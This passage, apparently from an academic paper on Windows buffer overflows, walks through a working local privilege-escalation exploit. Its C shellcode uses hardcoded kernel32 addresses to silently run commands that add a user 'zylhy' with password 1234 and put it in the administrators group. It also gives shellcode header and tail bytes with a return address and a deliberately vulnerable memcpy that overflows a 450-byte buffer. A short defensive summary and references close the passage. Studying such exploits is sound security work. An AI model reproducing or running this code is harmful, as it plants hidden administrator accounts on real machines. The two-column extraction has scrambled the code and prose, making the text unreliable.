Locating the Address of Local Variables
Locating the Address of Local Variables
2000
2001
unsigned char ShellCodeHeader[] = { '\x81', '\xec', '\x24',
'\x10', '\x00', '\x00','\x60',};
fwrite( ShellCodeHeader, 1, sizeof( ShellCodeHeader ),
pdstf );
//*****write ShellCode function body*****
unsigned char ShellCodeBody [
SHELLCODE_BODY_LEN];
fseek( psrcf, SHELLCODE_BODY_START,
Figure 4. ShellExecuteA memory address SEEK_SET );
fread( ShellCodeBody,1,SHELLCODE_BODY_LEN,
The key code is as follows: psrcf );
void ShellCode()
{ fwrite(ShellCodeBody,1,SHELLCODE_BODY_LEN,pdstf
HMODULE hKernel32 = (HMODULE) );
0x7c800000; //*****write ShellCode tail*****
//The base address of Kernel32.dll unsigned char ShellCodeTail[] = { '\x61', '\x81', '\xc4',
PVOID pFunLoadLibraryA = (PVOID) '\x2c', '\x10', '\x00', '\x00','\xba', '\x0a', '\x11', '\x40', '\x00',
0x7c801e60; '\xff','\xe2','\x90','\x90', '\x90','\x90','\x80','\xff', '\x12', '\x00',
//LoadLibraryA absolute memory address //( kernel32.dll //base pointer before call
base address + entry Point) '\x54','\xf9','\x12','\x00' // ShellCode address};
PVOID pFunShellExecuteA = (PVOID) fwrite( ShellCodeTail, 1, sizeof( ShellCodeTail ), pdstf );
0x7ca9f6d4;
//ShellExecuteA absolute memory address C. Overflow Implementation
CHAR szShell32[] = { 'S','h','e','l','l','3','2','.','d','l', The part of the code is relatively simple; the main
'l','\0' }; function calls a subroutine, passes to the subroutine the
// loading Shell32.dll shellcode ˈ which is generated at the second step ˈ as
parameter. The key code is as follows:
HMODULE hShell32 = ((FunLoadLibraryA) void OverFlow( unsigned char *pBuffer, INT iLen )
pFunLoadLibraryA) (szShell32); {
// execute shell command: net user zylhy 1234 /add CHAR TempBuffer[ 450];
CHAR szOperation [] = {þoÿ,'p','e','n','\0ÿ}; memcpy( TempBuffer, pBuffer, iLen );
CHAR szFileName [] = {þnÿ,'e','t','\0ÿ}; }
CHAR szParametersOne[] = { int main( )
'u','s','e','r','\x20','z','y','l','h','y','\x20','1','2','3','4','\x20','/','a','d','d {
','\0' }; unsigned char recbuf[ 1024];
((FunShellExecuteA) pFunShellExecuteA)(NULL, FILE *pf = NULL;
szOperation, szFileName, szParametersOne, NULL, if( (pf=fopen(Āshellcode.shcā, "r+b" )) == NULL
SW_HIDE); )
//Elevated privileges: net localgroup administrators zylhy return -1;
add int ircount = fread( recbuf, 1,1024, pf );
CHAR szParametersTwo[] = { OverFlow( recbuf, ircount );
'l','o','c','a','l','g','r','o','u','p','\x20','a','d','m','i','n','i','s','t','r','a','t','o printf("overflow successfully ʽ Press any key to
','r','s','\x20','z','y','l','h','y','\x20','/','a','d','d','\0' }; continue.\n");
((FunShellExecuteA) pFunShellExecuteA)(NULL, return 0;
szOperation, szFileName, szParametersTwo, NULL, }
SW_HIDE);
} VI. SUMMARY
B. Generate Shellcode From the above analysis and examples we can see that
when the programmer in writing programs have the
This section needs to write shellcode header , shellcode responsibility and obligation to develop a security program
tail, and the executable file which is generated at the first ideas, should be familiar to those who may have a function
step to a shellcode.shc file. For the head and tail can of buffer overflow vulnerabilities, clearly those to be careful
disassemble the assembly code in the fourth quarter to get its to use the programming function. In the software testing
byte code, and for the first step of the executable file, just phase, testers devoted to the program for each buffer bounds
open the executable file, read out to a char array, then write checking and overflow detection. However, due to lack of
the contents of the array to shellcode.shc file. The key code experience and testing of the programmer's work is not
is as follows: comprehensive enough, it is still impossible to completely
//*****write ShellCode Header***** avoid buffer overflow vulnerability, these vulnerabilities
2001
2002
have been used and the software being is developed, there is [4] LIN Qing-yang; WU Dong-ying. Design and implementation of
still a possibility, but also in the use of software , doing it in model for positioning vulnerable function in buffer overflow[J],
Computer Engineering and Design. 2010-16-017.
real-time monitoring.
[5] WEI Li-feng; JIANG Rong; ZHAO Dong; Research for resisting
buffer overflow attack technologies of Vista[J]. Application Research
ACKNOWLEDGMENT of Computers, 2010-05-072.
We would like to thank the anonymous reviewers for [6] JIANG Jianhui1; ZHANG Liyuan1; JIN Tao2; CHEN Chuan2,
their valuable comments. This research is supported by the Dynamic Buffer Overflow Prevention Based on k Circular Random
Langfang research and development projects for scientific Sequence. Journal of Tongji University(Natural Science), 2010-06-
025.
and technological (2012011009&&2012011012&&
2012011013). [7] CHENG Hongrong, QIN Zhiguang, WAN Mingcheng, DENG Wei .
On the Buffer Overflow Attack Mode and Countermeasures[J]
Journal of University of Electronic Science and Technology of China,
2007-06-011
[8] Wu Xueyang; Fan Long; Chen Jingbo. Research On the Key
REFERENCES techniques of Buffer overflow under Windows System[J]. Network
[1] MA Yi-nan; ZHANG Li-he. Buffer Overflow Protection Mechanism Security Technology & Application. 2010-12-023 .
and Bypass Technology Under Windows [J]. Computer Engineering, [9] Sun Wenhao. Buffer overflow security risks [J] Network Security
2010-17-051 Technology & Application, 2010-05-004
[2] CHEN Hao. Analysis and Detection of Heap Buffer Overflow under [10] DING Yong-Shang. Solutions to Buffer Overflow Leak[J]. Computer
Windows [J] . Modern Computer. 2010-12-016 . Systems & Applications. 2010-02-047..
[3] ZHANG Zhi-gang; ZHOU Ning; NIU Shuang-xia; MO Jian-song;
LIU Hao. Remote Buffer Overflow Attack and Prevention. Journal of
Chongqing University of Technology(Natural Science), 2010-11-018.
2002
2003